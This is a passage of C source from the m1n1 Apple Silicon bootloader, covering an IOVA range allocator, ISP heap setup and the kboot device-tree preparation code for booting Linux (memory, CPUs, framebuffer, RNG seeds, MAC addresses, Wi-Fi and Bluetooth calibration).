middle and we'll have to split this block */ struct iova_block *blk_new = calloc(1, sizeof(*blk_new)); if (!blk_new) { printf("iova_reserve: out of memory.\n"); return false; } blk_new->iova = iova + sz; blk_new->sz = blk->iova + blk->sz - blk_new->iova; blk_new->next = blk->next; blk->next = blk_new; blk->sz = iova - blk->iova; return true; } } blk_prev = blk; blk = blk->next; } printf("iova_reserve: tried to reserve [%lx; +%lx] but range is already used.\n", iova, sz); return false; } u64 iova_alloc(iova_domain_t *iovad, size_t sz) { sz = ALIGN_UP(sz, SZ_16K); struct iova_block *blk_prev = NULL; struct iova_block *blk = iovad->free_list; while (blk != NULL) { if (blk->sz == sz) { u64 iova = blk->iova; if (blk_prev) blk_prev->next = blk->next; else iovad->free_list = blk->next; free(blk); return iova; } else if (blk->sz > sz) { u64 iova = blk->iova; blk->iova += sz; blk->sz -= sz; return iova; } blk_prev = blk; blk = blk->next; } return 0; } void iova_free(iova_domain_t *iovad, u64 iova, size_t sz) { sz = ALIGN_UP(sz, SZ_16K); struct iova_block *blk_prev = NULL; struct iova_block *blk = iovad->free_list; /* create a new free list if it's empty */ if (!blk) { blk = calloc(1, sizeof(*blk)); if (!blk) panic("out of memory in iovad_free"); blk->iova = iova; blk->sz = sz; blk->next = NULL; iovad->free_list = blk; return; } while (blk != NULL) { if ((iova + sz) == blk->iova) { /* extend the block at the beginning */ blk->iova -= sz; blk->sz += sz; /* if we have just extended the start of the free list we're already done */ if (!blk_prev) return; /* check if we can merge two blocks otherwise */ if ((blk_prev->iova + blk_prev->sz) == blk->iova) { blk_prev->sz += blk->sz; blk_prev->next = blk->next; free(blk); } return; } else if ((iova + sz) < blk->iova) { /* create a new block */ struct iova_block *blk_new = calloc(1, sizeof(*blk_new)); if (!blk_new) panic("iova_free: out of memory\n"); blk_new->iova = iova; blk_new->sz = sz; blk_new->next = blk; if (blk_prev) blk_prev->next = blk_new; else iovad->free_list = blk_new; return; } blk_prev = blk; blk = blk->next; } panic("iovad_free: corruption detected, unable to insert freed range\n"); } m1n1-1.4.11/src/iova.h000066400000000000000000000006641453754430200142650ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef IOVA_H #define IOVA_H #include "dart.h" #include "types.h" typedef struct iova_domain iova_domain_t; iova_domain_t *iovad_init(u64 base, u64 limit); void iovad_shutdown(iova_domain_t *iovad, dart_dev_t *dart); bool iova_reserve(iova_domain_t *iovad, u64 iova, size_t sz); u64 iova_alloc(iova_domain_t *iovad, size_t sz); void iova_free(iova_domain_t *iovad, u64 iova, size_t sz); #endif m1n1-1.4.11/src/isp.c000066400000000000000000000111731453754430200141120ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "dart.h" #include "firmware.h" #include "isp.h" #include "pmgr.h" #include "soc.h" #include "utils.h" #define ISP_ASC_VERSION 0x1800000 #define ISP_VER_T8103 0xb0090 #define ISP_VER_T6000 0xb3091 #define ISP_VER_T8112 0xc1090 #define ISP_VER_T6020 0xc3091 // PMGR offset to enable to get the version info to work #define ISP_PMGR_T8103 0x4018 #define ISP_PMGR_T6000 0x8 #define ISP_PMGR_T6020 0x4008 static bool isp_initialized = false; static u64 heap_phys, heap_iova, heap_size, heap_top; int isp_get_heap(u64 *phys, u64 *iova, u64 *size) { if (!isp_initialized) return -1; *phys = heap_phys; *iova = heap_iova | isp_iova_base(); *size = heap_size; return 0; } u64 isp_iova_base(void) { switch (chip_id) { case 0x6020 ... 0x6fff: return 0x10000000000; default: return 0; } } int isp_init(void) { int err = 0; const char *isp_path = "/arm-io/isp"; const char *dart_path = "/arm-io/dart-isp"; int adt_path[8], adt_isp_path[8]; int isp_node = adt_path_offset_trace(adt, isp_path, adt_isp_path); int node = adt_path_offset_trace(adt, dart_path, adt_path); if (node < 0 || isp_node < 0) { isp_path = "/arm-io/isp0"; dart_path = "/arm-io/dart-isp0"; isp_node = adt_path_offset_trace(adt, isp_path, adt_isp_path); node = adt_path_offset_trace(adt, dart_path, adt_path); } if (node < 0) return 0; if (pmgr_adt_power_enable(isp_path) < 0) return -1; u64 isp_base; u64 pmgr_base; err = adt_get_reg(adt, adt_isp_path, "reg", 0, &isp_base, NULL); if (err) return err; err = adt_get_reg(adt, adt_isp_path, "reg", 1, &pmgr_base, NULL); if (err) return err; u32 pmgr_off; switch (chip_id) { case T8103: case T8112: pmgr_off = ISP_PMGR_T8103; break; case T6000 ... T6002: pmgr_off = ISP_PMGR_T6000; break; case T6020 ... T6022: pmgr_off = ISP_PMGR_T6020; break; default: printf("isp: Unsupported SoC\n"); return -1; } err = pmgr_set_mode(pmgr_base + pmgr_off, PMGR_PS_ACTIVE); if (err) { printf("isp: Failed to power on\n"); return err; } u32 ver_rev = read32(isp_base + ISP_ASC_VERSION); printf("isp: Version 0x%x\n", ver_rev); pmgr_set_mode(pmgr_base + pmgr_off, PMGR_PS_PWRGATE); /* TODO: confirm versions */ switch (ver_rev) { case ISP_VER_T8103: case ISP_VER_T8112: switch (os_firmware.version) { case V12_3 ... V12_4: heap_top = 0x1800000; break; case V13_5: heap_top = 0x1000000; break; default: printf("isp: unsupported firmware\n"); return -1; } break; case ISP_VER_T6000: switch (os_firmware.version) { case V12_3: heap_top = 0xe00000; break; case V13_5: case V13_6_2: heap_top = 0xf00000; break; default: printf("isp: unsupported firmware\n"); return -1; } break; case ISP_VER_T6020: switch (os_firmware.version) { case V13_5: case V13_6_2: heap_top = 0xf00000; break; default: printf("isp: unsupported firmware\n"); return -1; } break; default: printf("isp: unknown revision 0x%x\n", ver_rev); return -1; } const struct adt_segment_ranges *seg; u32 segments_len; seg = adt_getprop(adt, isp_node, "segment-ranges", &segments_len); unsigned int count = segments_len / sizeof(*seg); heap_iova = seg[count - 1].iova + seg[count - 1].size; heap_size = heap_top - heap_iova; heap_phys = top_of_memory_alloc(heap_size); printf("isp: Code: 0x%lx..0x%lx (0x%x @ 0x%lx)\n", seg[0].iova, seg[0].iova + seg[0].size, seg[0].size, seg[0].phys); printf("isp: Data: 0x%lx..0x%lx (0x%x @ 0x%lx)\n", seg[1].iova, seg[1].iova + seg[1].size, seg[1].size, seg[1].phys); printf("isp: Heap: 0x%lx..0x%lx (0x%lx @ 0x%lx)\n", heap_iova, heap_top, heap_size, heap_phys); isp_initialized = true; pmgr_adt_power_disable(isp_path); return err; } m1n1-1.4.11/src/isp.h000066400000000000000000000002751453754430200141200ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef ISP_H #define ISP_H #include "types.h" int isp_init(void); int isp_get_heap(u64 *phys, u64 *iova, u64 *size); u64 isp_iova_base(void); #endif m1n1-1.4.11/src/kboot.c000066400000000000000000002264511453754430200144440ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include "kboot.h" #include "adt.h" #include "assert.h" #include "clk.h" #include "dapf.h" #include "devicetree.h" #include "display.h" #include "exception.h" #include "firmware.h" #include "isp.h" #include "malloc.h" #include "mcc.h" #include "memory.h" #include "pcie.h" #include "pmgr.h" #include "sep.h" #include "sio.h" #include "smp.h" #include "tunables.h" #include "types.h" #include "usb.h" #include "utils.h" #include "xnuboot.h" #include "libfdt/libfdt.h" #define MAX_CHOSEN_PARAMS 16 #define MAX_ATC_DEVS 8 #define MAX_CIO_DEVS 8 #define MAX_DISP_MAPPINGS 8 static void *dt = NULL; static int dt_bufsize = 0; static void *initrd_start = NULL; static size_t initrd_size = 0; static char *chosen_params[MAX_CHOSEN_PARAMS][2]; extern const char *const m1n1_version; int dt_set_gpu(void *dt); #define DT_ALIGN 16384 #define bail(...) \ do { \ printf(__VA_ARGS__); \ return -1; \ } while (0) #define bail_cleanup(...) \ do { \ printf(__VA_ARGS__); \ ret = -1; \ goto err; \ } while (0) void get_notchless_fb(u64 *fb_base, u64 *fb_height) { *fb_base = cur_boot_args.video.base; *fb_height = cur_boot_args.video.height; int node = adt_path_offset(adt, "/product"); if (node < 0) { printf("FDT: /product node not found\n"); return; } u32 val; if (ADT_GETPROP(adt, node, "partially-occluded-display", &val) < 0 || !val) { printf("FDT: No notch detected\n"); return; } u64 hfrac = cur_boot_args.video.height * 16 / cur_boot_args.video.width; u64 new_height = cur_boot_args.video.width * hfrac / 16; if (new_height == cur_boot_args.video.height) { printf("FDT: Notch detected, but display aspect is already 16:%lu?\n", hfrac); return; } u64 offset = cur_boot_args.video.height - new_height; printf("display: Hiding notch, %lux%lu -> %lux%lu (+%lu, 16:%lu)\n", cur_boot_args.video.width, cur_boot_args.video.height, cur_boot_args.video.width, new_height, offset, hfrac); *fb_base += cur_boot_args.video.stride * offset; *fb_height = new_height; } static int dt_set_rng_seed_sep(int node) { u64 kaslr_seed; uint8_t rng_seed[128]; // same size used by Linux for kexec if (sep_get_random(&kaslr_seed, sizeof(kaslr_seed)) != sizeof(kaslr_seed)) bail("SEP: couldn't get enough random bytes for KASLR seed\n"); if (sep_get_random(rng_seed, sizeof(rng_seed)) != sizeof(rng_seed)) bail("SEP: couldn't get enough random bytes for RNG seed\n"); if (fdt_setprop_u64(dt, node, "kaslr-seed", kaslr_seed)) bail("FDT: couldn't set kaslr-seed\n"); if (fdt_setprop(dt, node, "rng-seed", rng_seed, sizeof(rng_seed))) bail("FDT: couldn't set rng-seed\n"); printf("FDT: Passing %ld bytes of KASLR seed and %ld bytes of random seed\n", sizeof(kaslr_seed), sizeof(rng_seed)); return 0; } static int dt_set_rng_seed_adt(int node) { int anode = adt_path_offset(adt, "/chosen"); if (anode < 0) bail("ADT: /chosen not found\n"); const uint8_t *random_seed; u32 seed_length; random_seed = adt_getprop(adt, anode, "random-seed", &seed_length); if (random_seed) { printf("ADT: %d bytes of random seed available\n", seed_length); if (seed_length >= sizeof(u64)) { u64 kaslr_seed; memcpy(&kaslr_seed, random_seed, sizeof(kaslr_seed)); // Ideally we would throw away the kaslr_seed part of random_seed // and avoid reusing it. However, Linux wants 64 bytes of bootloader // random seed to consider its CRNG initialized, which is exactly // how much iBoot gives us. This probably doesn't matter, since // that entropy is going to get shuffled together and Linux makes // sure to clear the FDT randomness after using it anyway, but just // in case let's mix in a few bits from our own KASLR base to make // kaslr_seed unique. kaslr_seed ^= (u64)cur_boot_args.virt_base; if (fdt_setprop_u64(dt, node, "kaslr-seed", kaslr_seed)) bail("FDT: couldn't set kaslr-seed\n"); printf("FDT: KASLR seed initialized\n"); } else { printf("ADT: not enough random data for kaslr-seed\n"); } if (seed_length) { if (fdt_setprop(dt, node, "rng-seed", random_seed, seed_length)) bail("FDT: couldn't set rng-seed\n"); printf("FDT: Passing %d bytes of random seed\n", seed_length); } } else { printf("ADT: no random-seed available!\n"); } return 0; } static int dt_set_chosen(void) { int node = fdt_path_offset(dt, "/chosen"); if (node < 0) bail("FDT: /chosen node not found in devtree\n"); for (int i = 0; i < MAX_CHOSEN_PARAMS; i++) { if (!chosen_params[i][0]) break; const char *name = chosen_params[i][0]; const char *value = chosen_params[i][1]; if (fdt_setprop(dt, node, name, value, strlen(value) + 1) < 0) bail("FDT: couldn't set chosen.%s property\n", name); printf("FDT: %s = '%s'\n", name, value); } if (initrd_start && initrd_size) { if (fdt_setprop_u64(dt, node, "linux,initrd-start", (u64)initrd_start)) bail("FDT: couldn't set chosen.linux,initrd-start property\n"); u64 end = ((u64)initrd_start) + initrd_size; if (fdt_setprop_u64(dt, node, "linux,initrd-end", end)) bail("FDT: couldn't set chosen.linux,initrd-end property\n"); if (fdt_add_mem_rsv(dt, (u64)initrd_start, initrd_size)) bail("FDT: couldn't add reservation for the initrd\n"); printf("FDT: initrd at %p size 0x%lx\n", initrd_start, initrd_size); } if (cur_boot_args.video.base) { int fb = fdt_path_offset(dt, "/chosen/framebuffer"); if (fb < 0) bail("FDT: /chosen node not found in devtree\n"); u64 fb_base, fb_height; get_notchless_fb(&fb_base, &fb_height); u64 fb_size = cur_boot_args.video.stride * fb_height; u64 fbreg[2] = {cpu_to_fdt64(fb_base), cpu_to_fdt64(fb_size)}; char fbname[32]; snprintf(fbname, sizeof(fbname), "framebuffer@%lx", fb_base); if (fdt_setprop(dt, fb, "reg", fbreg, sizeof(fbreg))) bail("FDT: couldn't set framebuffer.reg property\n"); if (fdt_set_name(dt, fb, fbname)) bail("FDT: couldn't set framebuffer name\n"); if (fdt_setprop_u32(dt, fb, "width", cur_boot_args.video.width)) bail("FDT: couldn't set framebuffer width\n"); if (fdt_setprop_u32(dt, fb, "height", fb_height)) bail("FDT: couldn't set framebuffer height\n"); if (fdt_setprop_u32(dt, fb, "stride", cur_boot_args.video.stride)) bail("FDT: couldn't set framebuffer stride\n"); const char *format = NULL; switch (cur_boot_args.video.depth & 0xff) { case 32: format = "x8r8g8b8"; break; case 30: format = "x2r10g10b10"; break; case 16: format = "r5g6b5"; break; default: printf("FDT: unsupported fb depth %lu, not enabling\n", cur_boot_args.video.depth); return 0; // Do not error out, but don't set the FB } if (fdt_setprop_string(dt, fb, "format", format)) bail("FDT: couldn't set framebuffer format\n"); fdt_delprop(dt, fb, "status"); // may fail if it does not exist printf("FDT: %s base 0x%lx size 0x%lx\n", fbname, fb_base, fb_size); // We do not need to reserve the framebuffer, as it will be excluded from the usable RAM // range already. // save notch height in the dcp node if present if (cur_boot_args.video.height - fb_height) { int dcp = fdt_path_offset(dt, "dcp"); if (dcp >= 0) if (fdt_appendprop_u32(dt, dcp, "apple,notch-height", cur_boot_args.video.height - fb_height)) printf("FDT: couldn't set apple,notch-height\n"); } } node = fdt_path_offset(dt, "/chosen"); if (node < 0) bail("FDT: /chosen node not found in devtree\n"); if (fdt_setprop(dt, node, "asahi,iboot1-version", system_firmware.iboot, strlen(system_firmware.iboot) + 1)) bail("FDT: couldn't set asahi,iboot1-version\n"); if (fdt_setprop(dt, node, "asahi,system-fw-version", system_firmware.string, strlen(system_firmware.string) + 1)) bail("FDT: couldn't set asahi,system-fw-version\n"); if (fdt_setprop(dt, node, "asahi,iboot2-version", os_firmware.iboot, strlen(os_firmware.iboot) + 1)) bail("FDT: couldn't set asahi,iboot2-version\n"); if (fdt_setprop(dt, node, "asahi,os-fw-version", os_firmware.string, strlen(os_firmware.string) + 1)) bail("FDT: couldn't set asahi,os-fw-version\n"); if (fdt_setprop(dt, node, "asahi,m1n1-stage2-version", m1n1_version, strlen(m1n1_version) + 1)) bail("FDT: couldn't set asahi,m1n1-stage2-version\n"); if (dt_set_rng_seed_sep(node)) return dt_set_rng_seed_adt(node); return 0; } static int dt_set_memory(void) { int anode = adt_path_offset(adt, "/chosen"); if (anode < 0) bail("ADT: /chosen not found\n"); u64 dram_base, dram_size; if (ADT_GETPROP(adt, anode, "dram-base", &dram_base) < 0) bail("ADT: Failed to get dram-base\n"); if (ADT_GETPROP(adt, anode, "dram-size", &dram_size) < 0) bail("ADT: Failed to get dram-size\n"); // Tell the kernel our usable memory range. We cannot declare all of DRAM, and just reserve the // bottom and top, because the kernel would still map it (and just not use it), which breaks // ioremap (e.g. simplefb). u64 dram_min = cur_boot_args.phys_base; u64 dram_max = cur_boot_args.phys_base + cur_boot_args.mem_size; printf("FDT: DRAM at 0x%lx size 0x%lx\n", dram_base, dram_size); printf("FDT: Usable memory is 0x%lx..0x%lx (0x%lx)\n", dram_min, dram_max, dram_max - dram_min); u64 memreg[2] = {cpu_to_fdt64(dram_min), cpu_to_fdt64(dram_max - dram_min)}; int node = fdt_path_offset(dt, "/memory"); if (node < 0) bail("FDT: /memory node not found in devtree\n"); if (fdt_setprop(dt, node, "reg", memreg, sizeof(memreg))) bail("FDT: couldn't set memory.reg property\n"); return 0; } static int dt_set_serial_number(void) { int fdt_root = fdt_path_offset(dt, "/"); int adt_root = adt_path_offset(adt, "/"); if (fdt_root < 0) bail("FDT: could not open a handle to FDT root.\n"); if (adt_root < 0) bail("ADT: could not open a handle to ADT root.\n"); u32 sn_len; const char *serial_number = adt_getprop(adt, adt_root, "serial-number", &sn_len); if (fdt_setprop_string(dt, fdt_root, "serial-number", serial_number)) bail("FDT: unable to set device serial number!\n"); printf("FDT: reporting device serial number: %s\n", serial_number); return 0; } static int dt_set_cpus(void) { int ret = 0; int cpus = fdt_path_offset(dt, "/cpus"); if (cpus < 0) bail("FDT: /cpus node not found in devtree\n"); uint32_t *pruned_phandles = calloc(MAX_CPUS, sizeof(uint32_t)); size_t pruned = 0; if (!pruned_phandles) bail("FDT: out of memory\n"); /* Prune CPU nodes */ int node, cpu = 0; for (node = fdt_first_subnode(dt, cpus); node >= 0;) { const char *name = fdt_get_name(dt, node, NULL); if (strncmp(name, "cpu@", 4)) goto next_node; if (cpu > MAX_CPUS) bail_cleanup("Maximum number of CPUs exceeded, consider increasing MAX_CPUS\n"); const fdt64_t *prop = fdt_getprop(dt, node, "reg", NULL); if (!prop) bail_cleanup("FDT: failed to get reg property of CPU\n"); u64 dt_mpidr = fdt64_ld(prop); if (dt_mpidr == (mrs(MPIDR_EL1) & 0xFFFFFF)) goto next_cpu; if (!smp_is_alive(cpu)) { printf("FDT: CPU %d is not alive, disabling...\n", cpu); pruned_phandles[pruned++] = fdt_get_phandle(dt, node); int next = fdt_next_subnode(dt, node); fdt_nop_node(dt, node); cpu++; node = next; continue; } u64 mpidr = smp_get_mpidr(cpu); if (dt_mpidr != mpidr) bail_cleanup("FDT: DT CPU %d MPIDR mismatch: 0x%lx != 0x%lx\n", cpu, dt_mpidr, mpidr); u64 release_addr = smp_get_release_addr(cpu); if (fdt_setprop_inplace_u64(dt, node, "cpu-release-addr", release_addr)) bail_cleanup("FDT: couldn't set cpu-release-addr property\n"); printf("FDT: CPU %d MPIDR=0x%lx release-addr=0x%lx\n", cpu, mpidr, release_addr); next_cpu: cpu++; next_node: node = fdt_next_subnode(dt, node); } if ((node < 0) && (node != -FDT_ERR_NOTFOUND)) { bail_cleanup("FDT: error iterating through CPUs\n"); } /* Prune AIC PMU affinities */ int aic = fdt_node_offset_by_compatible(dt, -1, "apple,aic"); if (aic == -FDT_ERR_NOTFOUND) aic = fdt_node_offset_by_compatible(dt, -1, "apple,aic2"); if (aic < 0) bail_cleanup("FDT: Failed to find AIC node\n"); int affinities = fdt_subnode_offset(dt, aic, "affinities"); if (affinities < 0) { printf("FDT: Failed to find AIC affinities node, ignoring...\n"); } else { int node; for (node = fdt_first_subnode(dt, affinities); node >= 0; node = fdt_next_subnode(dt, node)) { int len; const fdt32_t *phs = fdt_getprop(dt, node, "cpus", &len); if (!phs) bail_cleanup("FDT: Failed to find cpus property under AIC affinity\n"); fdt32_t *new_phs = calloc(len, 1); size_t index = 0; size_t count = len / sizeof(fdt32_t); for (size_t i = 0; i < count; i++) { uint32_t phandle = fdt32_ld(&phs[i]); bool prune = false; for (size_t j = 0; j < pruned; j++) { if (pruned_phandles[j] == phandle) { prune = true; break; } } if (!prune) new_phs[index++] = phs[i]; } ret = fdt_setprop(dt, node, "cpus", new_phs, sizeof(fdt32_t) * index); free(new_phs); if (ret < 0) bail_cleanup("FDT: Failed to set cpus property under AIC affinity\n"); const char *name = fdt_get_name(dt, node, NULL); printf("FDT: Pruned %ld/%ld CPU references in [AIC]/affinities/%s\n", count - index, count, name); } if ((node < 0) && (node != -FDT_ERR_NOTFOUND)) bail_cleanup("FDT: Error iterating through affinity nodes\n"); } /* Prune CPU-map */ int cpu_map = fdt_path_offset(dt, "/cpus/cpu-map"); if (cpu_map < 0) { printf("FDT: /cpus/cpu-map node not found in devtree, ignoring...\n"); free(pruned_phandles); return 0; } int cluster_idx = 0; int cluster_node; for (cluster_node = fdt_first_subnode(dt, cpu_map); cluster_node >= 0;) { const char *name = fdt_get_name(dt, cluster_node, NULL); int cpu_idx = 0; if (strncmp(name, "cluster", 7)) goto next_cluster; int cpu_node; for (cpu_node = fdt_first_subnode(dt, cluster_node); cpu_node >= 0;) { const char *cpu_name = fdt_get_name(dt, cpu_node, NULL); if (strncmp(cpu_name, "core", 4)) goto next_map_cpu; int len; const fdt32_t *cpu_ph = fdt_getprop(dt, cpu_node, "cpu", &len); if (!cpu_ph || len != sizeof(*cpu_ph)) bail_cleanup("FDT: Failed to get cpu prop for /cpus/cpu-map/%s/%s\n", name, cpu_name); uint32_t phandle = fdt32_ld(cpu_ph); bool prune = false; for (size_t i = 0; i < pruned; i++) { if (pruned_phandles[i] == phandle) { prune = true; break; } } if (prune) { printf("FDT: Pruning /cpus/cpu-map/%s/%s\n", name, cpu_name); int next = fdt_next_subnode(dt, cpu_node); fdt_nop_node(dt, cpu_node); cpu_node = next; continue; } else { char new_name[16]; snprintf(new_name, 16, "core%d", cpu_idx++); fdt_set_name(dt, cpu_node, new_name); } next_map_cpu: cpu_node = fdt_next_subnode(dt, cpu_node); } if ((cpu_node < 0) && (cpu_node != -FDT_ERR_NOTFOUND)) bail_cleanup("FDT: Error iterating through CPU nodes\n"); if (cpu_idx == 0) { printf("FDT: Pruning /cpus/cpu-map/%s\n", name); int next = fdt_next_subnode(dt, cluster_node); fdt_nop_node(dt, cluster_node); cluster_node = next; continue; } else { char new_name[16]; snprintf(new_name, 16, "cluster%d", cluster_idx++); fdt_set_name(dt, cluster_node, new_name); } next_cluster: cluster_node = fdt_next_subnode(dt, cluster_node); } if ((cluster_node < 0) && (cluster_node != -FDT_ERR_NOTFOUND)) bail_cleanup("FDT: Error iterating through CPU clusters\n"); return 0; err: free(pruned_phandles); return ret; } static struct { const char *alias; const char *fdt_property; bool swap; } mac_address_devices[] = { { .alias = "bluetooth0", .fdt_property = "local-bd-address", .swap = true, }, { .alias = "ethernet0", .fdt_property = "local-mac-address", }, { .alias = "wifi0", .fdt_property = "local-mac-address", }, }; static int dt_set_mac_addresses(void) { int anode = adt_path_offset(adt, "/chosen"); if (anode < 0) bail("ADT: /chosen not found\n"); for (size_t i = 0; i < sizeof(mac_address_devices) / sizeof(*mac_address_devices); i++) { char propname[32]; snprintf(propname, sizeof(propname), "mac-address-%s", mac_address_devices[i].alias); uint8_t addr[6]; if (ADT_GETPROP_ARRAY(adt, anode, propname, addr) < 0) continue; if (mac_address_devices[i].swap) { for (size_t i = 0; i < sizeof(addr) / 2; ++i) { uint8_t tmp = addr[i]; addr[i] = addr[sizeof(addr) - i - 1]; addr[sizeof(addr) - i - 1] = tmp; } } const char *path = fdt_get_alias(dt, mac_address_devices[i].alias); if (path == NULL) continue; int node = fdt_path_offset(dt, path); if (node < 0) continue; fdt_setprop(dt, node, mac_address_devices[i].fdt_property, addr, sizeof(addr)); } return 0; } static int dt_set_bluetooth_cal(int anode, int node, const char *adt_name, const char *fdt_name) { u32 len; const u8 *cal_blob = adt_getprop(adt, anode, adt_name, &len); if (!cal_blob || !len) bail("ADT: Failed to get %s\n", adt_name); fdt_setprop(dt, node, fdt_name, cal_blob, len); return 0; } static int dt_set_bluetooth(void) { int ret; int anode = adt_path_offset(adt, "/arm-io/bluetooth"); if (anode < 0) bail("ADT: /arm-io/bluetooth not found\n"); const char *path = fdt_get_alias(dt, "bluetooth0"); if (path == NULL) return 0; int node = fdt_path_offset(dt, path); if (node < 0) return 0; ret = dt_set_bluetooth_cal(anode, node, "bluetooth-taurus-calibration-bf", "brcm,taurus-bf-cal-blob"); if (ret) return ret; ret = dt_set_bluetooth_cal(anode, node, "bluetooth-taurus-calibration", "brcm,taurus-cal-blob"); if (ret) return ret; return 0; } static int dt_set_multitouch(void) { const char *path = fdt_get_alias(dt, "touchbar0"); if (path == NULL) return 0; int node = fdt_path_offset(dt, path); if (node < 0) bail("FDT: alias points at nonexistent node\n"); const char *adt_touchbar; if (fdt_node_check_compatible(dt, 0, "apple,j293") == 0) adt_touchbar = "/arm-io/spi0/multi-touch"; else if (fdt_node_check_compatible(dt, 0, "apple,j493") == 0) adt_touchbar = "/arm-io/spi3/touch-bar"; else return 0; int anode = adt_path_offset(adt, adt_touchbar); if (anode < 0) bail("ADT: touchbar node %s not found\n", adt_touchbar); u32 len; const u8 *cal_blob = adt_getprop(adt, anode, "multi-touch-calibration", &len); if (!cal_blob || !len) { printf("ADT: Failed to get multi-touch-calibration from %s, disable %s\n", adt_touchbar, fdt_get_name(dt, node, NULL)); fdt_setprop_string(dt, node, "status", "disabled"); return 0; } fdt_setprop(dt, node, "apple,z2-cal-blob", cal_blob, len); return 0; } #include "keyboard_types.h" static int dt_set_ipd(void) { int chosen = fdt_path_offset(dt, "/chosen"); if (chosen < 0) bail("FDT: /chosen node not found in devtree\n"); int ipd = adt_path_offset(adt, "/arm-io/spi3/ipd"); if (ipd < 0) ipd = adt_path_offset(adt, "/arm-io/dockchannel-mtp/mtp-transport/keyboard"); if (ipd < 0) { printf("ADT: no keyboard found\n"); return 0; } u32 len; const u8 *kblang = adt_getprop(adt, ipd, "kblang-calibration", &len); if (!kblang || len < 2) { printf("ADT: kblang-calibration not found, no keyboard layout\n"); return 0; } u8 code = kblang[1]; if (fdt_setprop_u32(dt, chosen, "asahi,kblang-code", code)) bail("FDT: couldn't set asahi,kblang-code\n"); const char *path = fdt_get_alias(dt, "keyboard"); if (path == NULL) return 0; int node = fdt_path_offset(dt, path); if (node < 0) bail("FDT: keyboard alias points at nonexistent node\n"); if (fdt_setprop_u32(dt, node, "apple,keyboard-layout-id", code)) bail("FDT: couldn't set apple,keyboard-layout-id\n"); if (code >= ARRAY_SIZE(keyboard_types)) printf("ADT: kblang code out of range, not setting country code\n"); else if (fdt_setprop_u32(dt, node, "hid-country-code", keyboard_types[code])) bail("FDT: couldn't set hid-country-code\n"); return 0; } #define NVRAM_START 0x700000 #define NVRAM_MAX_SIZE SZ_1M static int dt_set_nvram(void) { int adt_path[8]; u64 start, size; int anode = adt_path_offset_trace(adt, "/arm-io/spi1/spinor/anvram", adt_path); if (anode < 0) { printf("ADT: nvram partition not found\n"); return 0; } int pp = 0; while (adt_path[pp]) pp++; adt_path[pp + 1] = 0; int ret = adt_get_reg(adt, adt_path, "reg", 0, &start, &size); if (ret < 0) { printf("ADT: could not read nvram partition start/size\n"); return 0; } if (start != NVRAM_START || size > NVRAM_MAX_SIZE) { printf("ADT: unexpected nvram partition start (0x%lx) size (0x%lx)\n", start, size); return 0; } int node = fdt_path_offset(dt, "nvram"); if (node < 0) { printf("DT: nvram alias/partition not found\n"); return 0; } fdt32_t reg[2]; fdt32_st(reg + 0, start); fdt32_st(reg + 1, size); if (fdt_setprop(dt, node, "reg", reg, sizeof(reg))) { printf("FDT: couldn't set nvram.reg\n"); return 0; } if (fdt_setprop_string(dt, node, "status", "okay") < 0) printf("FDT: failed to enable nvram partition node\n"); return 0; } static int dt_set_wifi(void) { int anode = adt_path_offset(adt, "/arm-io/wlan"); if (anode < 0) bail("ADT: /arm-io/wlan not found\n"); uint8_t info[16]; if (ADT_GETPROP_ARRAY(adt, anode, "wifi-antenna-sku-info", info) < 0) bail("ADT: Failed to get wifi-antenna-sku-info\n"); const char *path = fdt_get_alias(dt, "wifi0"); if (path == NULL) return 0; int node = fdt_path_offset(dt, path); if (node < 0) return 0; char antenna[8]; memcpy(antenna, &info[8], sizeof(antenna)); fdt_setprop_string(dt, node, "apple,antenna-sku", antenna); u32 len; const u8 *cal_blob = adt_getprop(adt, anode, "wifi-calibration-msf", &len); if (!cal_blob || !len) bail("ADT: Failed to get wifi-calibration-msf\n"); fdt_setprop(dt, node, "brcm,cal-blob", cal_blob, len); return 0; } static void dt_set_uboot_dm_preloc(int node) { // Tell U-Boot to bind this node early fdt_setprop_empty(dt, node, "u-boot,dm-pre-reloc"); fdt_setprop_empty(dt, node, "bootph-all"); // Make sure the power domains are bound early as well int pds_size; const fdt32_t *pds = fdt_getprop(dt, node, "power-domains", &pds_size); if (!pds) return; fdt32_t *phandles = calloc(pds_size, 1); if (!phandles) { printf("FDT: out of memory\n"); return; } memcpy(phandles, pds, pds_size); for (int i = 0; i < pds_size / 4; i++) { node = fdt_node_offset_by_phandle(dt, fdt32_ld(&phandles[i])); if (node < 0) continue; dt_set_uboot_dm_preloc(node); // restore node offset after DT update node = fdt_node_offset_by_phandle(dt, fdt32_ld(&phandles[i])); if (node < 0) continue; // And make sure the PMGR node is bound early too node = fdt_parent_offset(dt, node); if (node < 0) continue; dt_set_uboot_dm_preloc(node); } free(phandles); } static int dt_set_uboot(void) { // Make sure that U-Boot can initialize the serial port in its // pre-relocation phase by marking its node and the nodes of the // power domains it depends on with a "u-boot,dm-pre-reloc" // property. const char *path = fdt_get_alias(dt, "serial0"); if (path == NULL) return 0; int node = fdt_path_offset(dt, path); if (node < 0) return 0; dt_set_uboot_dm_preloc(node); return 0; } struct atc_tunable { u32 offset : 24; u32 size : 8; u32 mask; u32 value; } PACKED; static_assert(sizeof(struct atc_tunable) == 12, "Invalid atc_tunable size"); struct adt_tunable_info { const char *adt_name; const char *fdt_name; size_t reg_offset; size_t reg_size; bool required; }; static const struct adt_tunable_info atc_tunables[] = { /* global tunables applied after power on or reset */ {"tunable_ATC0AXI2AF", "apple,tunable-axi2af", 0x0, 0x4000, true}, {"tunable_ATC_FABRIC", "apple,tunable-common", 0x45000, 0x4000, true}, {"tunable_AUS_CMN_TOP", "apple,tunable-common", 0x800, 0x4000, true}, {"tunable_AUS_CMN_SHM", "apple,tunable-common", 0xa00, 0x4000, true}, {"tunable_AUSPLL_CORE", "apple,tunable-common", 0x2200, 0x4000, true}, {"tunable_AUSPLL_TOP", "apple,tunable-common", 0x2000, 0x4000, true}, {"tunable_CIO3PLL_CORE", "apple,tunable-common", 0x2a00, 0x4000, true}, {"tunable_CIO3PLL_TOP", "apple,tunable-common", 0x2800, 0x4000, true}, {"tunable_CIO_CIO3PLL_TOP", "apple,tunable-common", 0x2800, 0x4000, false}, {"tunable_USB_ACIOPHY_TOP", "apple,tunable-common", 0x0, 0x4000, true}, /* lane-specific tunables applied after a cable is connected */ {"tunable_DP_LN0_AUSPMA_TX_TOP", "apple,tunable-lane0-dp", 